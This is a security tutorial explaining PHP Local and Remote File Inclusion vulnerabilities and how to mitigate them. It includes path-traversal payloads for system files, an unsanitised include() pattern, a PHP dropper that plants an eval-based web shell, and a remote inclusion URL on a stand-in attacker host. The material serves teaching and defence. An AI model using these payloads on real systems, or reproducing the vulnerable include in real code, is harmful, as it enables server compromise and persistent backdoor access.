File inclusion is a common programming feature that allows developers to import external code files into their applications. Most programming languages provide built-in functions for this purpose. In PHP, these functions include include(), include_once(), require(), and require_once().
When the included file path is hardcoded, this functionality poses no security risk. However, vulnerabilities arise when the file path becomes user-controllable through input parameters without proper validation.
Types of File Inclusion Vulnerabilities
Local File Inclusion (LFI): Attackers can include local server files that they shouldn't have access to. While attackers don't control these files, they can access sensitive system information by including configuration files. LFI becomes particularly dangerous when combined with file upload vulnerabilities.
Remote File Inclusion (RFI): Attackers can include remote files via URLs, potentially executing malicious code on the server. This represents a critical security risk.
Local File Inclusion Demonstration
Consider a web application where user selection determines which PHP file gets executed. The application passes the filename through URL parametesr to back end processing.
Attackers can intercept and modify the filename parameter to access unauthorized files:
Windows System File Acces
../../../../Windows/System32/drivers/etc/hosts
Linux System File Access
../../../../../../../../etc/passwd
The vulnerability occurs because the backend code directly uses user input in include statements without sanitization:
$selected_file = $_GET['filename'];
include($selected_file);
Remote File Inclusion Demonstration
RFI requires specific server configurations to be enabled:
allow_url_includeandallow_url_fopenmust be enabled in php.ini- Remote file extensions must differ from the server's primary language (e.g., .txt files on PHP servers)
Example malicious payload that creates a backdoor:
<?php
$backdoor_file = fopen("shell.php", "w");
$malicious_code = '<?php @eval($_POST["cmd"]);?>';
fwrite($backdoor_file, $malicious_code);
fclose($backdoor_file);
?>
Remote inclusion URL format:
http://attacker-server.com/malicious.txt
Security Mitigations
- Avoid using user-controlled input in file inclusion functions
- Implement input filtering for directory traversal sequences (../, ..\) and URL protocols
- Configure php.ini settings:
- Set
allow_url_fopen = Off - Set
allow_url_include = Off
- Set
- Implement whitelist-based validation for allowed files
- Use absolute file paths instead of relative paths